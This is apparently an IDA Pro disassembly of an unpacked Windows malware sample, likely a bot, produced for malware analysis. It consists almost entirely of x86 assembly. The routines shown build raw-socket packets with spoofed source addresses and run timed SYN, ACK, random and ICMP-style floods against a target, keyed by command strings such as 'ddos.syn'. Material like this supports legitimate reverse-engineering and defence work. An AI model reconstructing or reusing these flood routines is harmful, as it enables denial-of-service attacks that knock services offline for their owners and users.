;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	5AE68E7DF89472933268747092E17F76

; File Name   :	u:\work\5ae68e7df89472933268747092e17f76_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 0001E000 ( 122880.)
; Section size in file		: 0001E000 ( 122880.)
; Offset to raw	data for section: 00001000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; DATA XREF: sub_40CC09+35A5o
					; _0xtwbvzc:0075815Co

var_394		= byte ptr -394h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_20C		= byte ptr -20Ch
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 394h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0A5h
		mov	esi, eax
		lea	edi, [ebp+var_294]
		rep movsd
		mov	dword ptr [eax+290h], 1
		call	ds:dword_41F044	; GetTickCount
		push	eax
		call	sub_413864
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4013E9
		push	eax
		lea	eax, [ebp+var_394]
		push	offset unk_421040
		push	eax
		call	sub_413812
		xor	esi, esi
		add	esp, 20h
		cmp	[ebp+var_8], esi
		jnz	short loc_401090
		push	esi
		lea	eax, [ebp+var_394]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	[ebp+var_294]
		call	sub_40B2B5
		add	esp, 14h


loc_401090:				; CODE XREF: sub_401000+6Ej
		lea	eax, [ebp+var_394]
		push	eax
		call	sub_409833
		push	[ebp+var_290]
		call	sub_4135DA
		pop	ecx
		pop	ecx
		push	esi
		call	ds:off_41F040
		pop	edi
		pop	esi
sub_401000	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4010B2	proc near		; CODE XREF: sub_4013E9+40p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_44CC60	; WSAStartup
		test	eax, eax
		jz	short loc_4010F2
		xor	eax, eax
		jmp	loc_4013E5
; ---------------------------------------------------------------------------


loc_4010F2:				; CODE XREF: sub_4010B2+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_44CD7C	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_4013DD
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_44CCBC	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_4013D3
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_44CCDC	; ntohs
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_44CCDC	; ntohs
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_44CCDC	; ntohs
		mov	[ebp+var_12], ax
		call	sub_41386E
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_44CCDC	; ntohs
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_44CCD8	; ntohl
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011C2
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_401216
; ---------------------------------------------------------------------------


loc_4011C2:				; CODE XREF: sub_4010B2+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011DE
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_401216
; ---------------------------------------------------------------------------


loc_4011DE:				; CODE XREF: sub_4010B2+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401216
		call	sub_41386E
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41386E
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_401216:				; CODE XREF: sub_4010B2+10Ej
					; sub_4010B2+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_44CCDC	; ntohs
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		call	ds:off_41F04C
		lea	eax, [ebp+var_1C]
		push	eax
		call	ds:off_41F048
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_413CC0
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_401264:				; CODE XREF: sub_4010B2+2E2j
					; sub_4010B2+2F0j
		mov	[ebp+var_4], bx
		call	sub_41386E
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_44CCDC	; ntohs
		mov	[ebp+var_14], ax
		call	sub_41386E
		mov	edi, eax
		shl	edi, 10h
		call	sub_41386E
		or	edi, eax
		push	edi
		call	dword_44CCDC	; ntohs
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_44CCD8	; ntohl
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_44CCDC	; ntohs
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_4138F0
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_4138F0
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_408AB6
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_4138F0
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4138F0
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_413890
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_408AB6
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_4138F0
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_44CD3C	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013A7
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	ds:off_41F048
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_4013D0
		jl	loc_401264
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_4013D0
		jmp	loc_401264
; ---------------------------------------------------------------------------


loc_4013A7:				; CODE XREF: sub_4010B2+2CBj
		call	dword_44CC78	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset unk_421078
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_409833
		add	esp, 10h
		jmp	short loc_4013D3
; ---------------------------------------------------------------------------


loc_4013D0:				; CODE XREF: sub_4010B2+2E0j
					; sub_4010B2+2EEj
		mov	ebx, [ebp+arg_8]


loc_4013D3:				; CODE XREF: sub_4010B2+78j
					; sub_4010B2+31Cj
		push	[ebp+var_20]
		call	dword_44CD70	; closesocket
		pop	esi


loc_4013DD:				; CODE XREF: sub_4010B2+5Bj
		call	dword_44CC48	; WSACleanup
		mov	eax, ebx


loc_4013E5:				; CODE XREF: sub_4010B2+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_4010B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4013E9	proc near		; CODE XREF: sub_401000+4Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_408947
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_413D7F
		push	[esp+14h+arg_C]
		mov	ebx, eax
		call	sub_413D7F
		mov	edi, eax
		call	sub_41386E
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	[esp+20h+arg_8]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4010B2
		add	esp, 20h
		test	eax, eax
		jnz	short loc_401438
		push	1
		pop	eax


loc_401438:				; CODE XREF: sub_4013E9+4Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4013E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401447	proc near		; DATA XREF: sub_40CC09+378Do

var_2BC		= byte ptr -2BCh
var_1BC		= dword	ptr -1BCh
var_1B8		= byte ptr -1B8h
var_138		= byte ptr -138h
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2BCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1BC]
		rep movsd
		push	1
		mov	ebx, 0FFh
		pop	esi
		push	ebx
		push	3
		push	2
		mov	[eax+19Ch], esi
		call	dword_44CD58	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_4014E3
		call	dword_44CC78	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2BC]
		push	offset unk_421204
		push	eax
		call	sub_413812
		xor	edi, edi
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_4014C6
		push	edi
		lea	eax, [ebp+var_2BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40B2B5
		add	esp, 14h


loc_4014C6:				; CODE XREF: sub_401447+5Dj
		lea	eax, [ebp+var_2BC]
		push	eax
		call	sub_409833
		push	[ebp+var_38]
		call	sub_4135DA
		pop	ecx
		pop	ecx
		push	edi
		call	ds:off_41F040


loc_4014E3:				; CODE XREF: sub_401447+3Bj
		lea	ecx, [ebp+var_C]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_C], esi
		call	dword_44CCBC	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40155A
		call	dword_44CC78	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2BC]
		push	offset unk_4211BC
		push	eax
		call	sub_413812
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_40153D
		push	edi
		lea	eax, [ebp+var_2BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40B2B5
		add	esp, 14h


loc_40153D:				; CODE XREF: sub_401447+D4j
		lea	eax, [ebp+var_2BC]
		push	eax
		call	sub_409833
		push	[ebp+var_38]
		call	sub_4135DA
		pop	ecx
		pop	ecx
		push	edi
		call	ds:off_41F040


loc_40155A:				; CODE XREF: sub_401447+B4j
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_44CD18	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4015C1
		lea	eax, [ebp+var_2BC]
		push	offset unk_42118C
		push	eax
		call	sub_413812
		cmp	[ebp+var_24], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4015A4
		push	edi
		lea	eax, [ebp+var_2BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40B2B5
		add	esp, 14h


loc_4015A4:				; CODE XREF: sub_401447+13Bj
		lea	eax, [ebp+var_2BC]
		push	eax
		call	sub_409833
		push	[ebp+var_38]
		call	sub_4135DA
		pop	ecx
		pop	ecx
		push	edi
		call	ds:off_41F040


loc_4015C1:				; CODE XREF: sub_401447+123j
		push	10h
		lea	eax, [ebp+var_1C]
		push	edi
		push	eax
		call	sub_413890
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	edi
		call	dword_44CCDC	; ntohs
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_44CD18	; inet_addr
		mov	esi, ds:dword_41F044
		mov	[ebp+var_18], eax
		mov	[ebp+arg_0], edi
		call	esi	; GetTickCount
		mov	[ebp+var_8], eax


loc_4015FF:				; CODE XREF: sub_401447+2EDj
		call	esi	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_30]
		ja	loc_4017AA
		push	41Ch
		mov	byte_4385E0, 45h
		call	dword_44CCDC	; ntohs
		cmp	[ebp+var_2C], edi
		mov	word_4385E2, ax
		mov	word_4385E4, 1
		mov	word_4385E6, di
		mov	byte_4385E8, 80h
		mov	byte_4385E9, 1
		mov	word_4385EA, di
		jz	short loc_40168A
		call	sub_41386E
		mov	ebx, eax
		shl	ebx, 8
		call	sub_41386E
		add	ebx, eax
		shl	ebx, 8
		call	sub_41386E
		add	ebx, eax
		shl	ebx, 8
		call	sub_41386E
		add	ebx, eax
		mov	dword_4385EC, ebx
		mov	ebx, 0FFh
		jmp	short loc_4016A2
; ---------------------------------------------------------------------------


loc_40168A:				; CODE XREF: sub_401447+20Fj
		push	[ebp+var_1BC]
		call	sub_408A5D
		pop	ecx
		push	eax
		call	dword_44CD18	; inet_addr
		mov	dword_4385EC, eax


loc_4016A2:				; CODE XREF: sub_401447+241j
		mov	eax, [ebp+var_18]
		mov	dword_4385F0, eax
		call	sub_41386E
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_4385F4, dl
		call	sub_41386E
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_4385F5, dl
		call	sub_41386E
		cdq
		mov	ecx, 0F0h
		push	400h
		idiv	ecx
		mov	word_4385F6, di
		mov	word_4385FA, 1
		inc	edx
		mov	word_4385F8, dx
		call	sub_41386E
		cdq
		mov	ecx, ebx
		idiv	ecx
		push	edx
		push	offset dword_4385FC
		call	sub_413890
		add	esp, 0Ch
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	edi
		push	41Ch
		push	offset byte_4385E0
		push	[ebp+var_4]
		call	dword_44CD3C	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401739
		inc	[ebp+arg_0]
		jmp	loc_4015FF
; ---------------------------------------------------------------------------


loc_401739:				; CODE XREF: sub_401447+2E8j
		push	[ebp+var_4]
		call	dword_44CD70	; closesocket
		call	dword_44CC78	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_42112C
		lea	eax, [ebp+var_2BC]
		push	ebx
		push	eax
		call	sub_413D8A
		add	esp, 18h
		cmp	[ebp+var_24], edi
		jnz	short loc_40178D
		push	edi
		lea	eax, [ebp+var_2BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40B2B5
		add	esp, 14h


loc_40178D:				; CODE XREF: sub_401447+324j
		lea	eax, [ebp+var_2BC]
		push	eax
		call	sub_409833
		push	[ebp+var_38]
		call	sub_4135DA
		pop	ecx
		pop	ecx
		push	edi
		call	ds:off_41F040


loc_4017AA:				; CODE XREF: sub_401447+1C9j
		push	[ebp+var_4]
		call	dword_44CD70	; closesocket
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_30]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		lea	eax, [ebp+var_2BC]
		push	offset unk_4210CC
		push	eax
		call	sub_413812
		add	esp, 1Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_401812
		push	edi
		lea	eax, [ebp+var_2BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40B2B5
		add	esp, 14h


loc_401812:				; CODE XREF: sub_401447+3A9j
		lea	eax, [ebp+var_2BC]
		push	eax
		call	sub_409833
		push	[ebp+var_38]
		call	sub_4135DA
		pop	ecx
		pop	ecx
		push	edi
		call	ds:off_41F040
sub_401447	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40182F	proc near		; DATA XREF: sub_40CC09+3496o

var_314		= byte ptr -314h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_401B7D
		push	eax
		lea	eax, [ebp+var_314]
		push	offset unk_421248
		push	eax
		call	sub_413812
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp+var_8], esi
		jnz	short loc_4018AC
		push	esi
		lea	eax, [ebp+var_314]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_40B2B5
		add	esp, 14h


loc_4018AC:				; CODE XREF: sub_40182F+5Bj
		lea	eax, [ebp+var_314]
		push	eax
		call	sub_409833
		push	[ebp+var_10]
		call	sub_4135DA
		pop	ecx
		pop	ecx
		push	esi
		call	ds:off_41F040
		pop	edi
		pop	esi
sub_40182F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018CB	proc near		; CODE XREF: sub_401B7D+3Cp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_44CC60	; WSAStartup
		test	eax, eax
		jz	short loc_40190B
		xor	eax, eax
		jmp	loc_401B79
; ---------------------------------------------------------------------------


loc_40190B:				; CODE XREF: sub_4018CB+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_44CD7C	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_401B71
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_44CCBC	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_401B67
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_413890
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_44CCDC	; ntohs
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_44CCDC	; ntohs
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_44CCDC	; ntohs
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_44CCDC	; ntohs
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		call	ds:off_41F04C
		lea	eax, [ebp+var_8]
		push	eax
		call	ds:off_41F048
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_413CC0
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_4019F6:				; CODE XREF: sub_4018CB+25Dj
					; sub_4018CB+26Bj
		mov	[ebp+var_24], bx
		call	sub_41386E
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_44CCDC	; ntohs
		mov	[ebp+var_34], ax
		call	sub_41386E
		mov	edi, eax
		shl	edi, 10h
		call	sub_41386E
		or	edi, eax
		push	edi
		call	dword_44CCDC	; ntohs
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_44CCD8	; ntohl
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_44CCDC	; ntohs
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_4138F0
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_4138F0
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_408AB6
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_4138F0
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4138F0
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_413890
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_408AB6
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_4138F0
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_44CD3C	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401B3B
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		call	ds:off_41F048
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_401B64
		jl	loc_4019F6
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_401B64
		jmp	loc_4019F6
; ---------------------------------------------------------------------------


loc_401B3B:				; CODE XREF: sub_4018CB+247j
		call	dword_44CC78	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset unk_421280
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_409833
		add	esp, 10h
		jmp	short loc_401B67
; ---------------------------------------------------------------------------


loc_401B64:				; CODE XREF: sub_4018CB+25Bj
					; sub_4018CB+269j
		mov	ebx, [ebp+arg_8]


loc_401B67:				; CODE XREF: sub_4018CB+78j
					; sub_4018CB+297j
		push	[ebp+var_C]
		call	dword_44CD70	; closesocket
		pop	esi


loc_401B71:				; CODE XREF: sub_4018CB+5Bj
		call	dword_44CC48	; WSACleanup
		mov	eax, ebx


loc_401B79:				; CODE XREF: sub_4018CB+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_4018CB	endp


; =============== S U B	R O U T	I N E =======================================



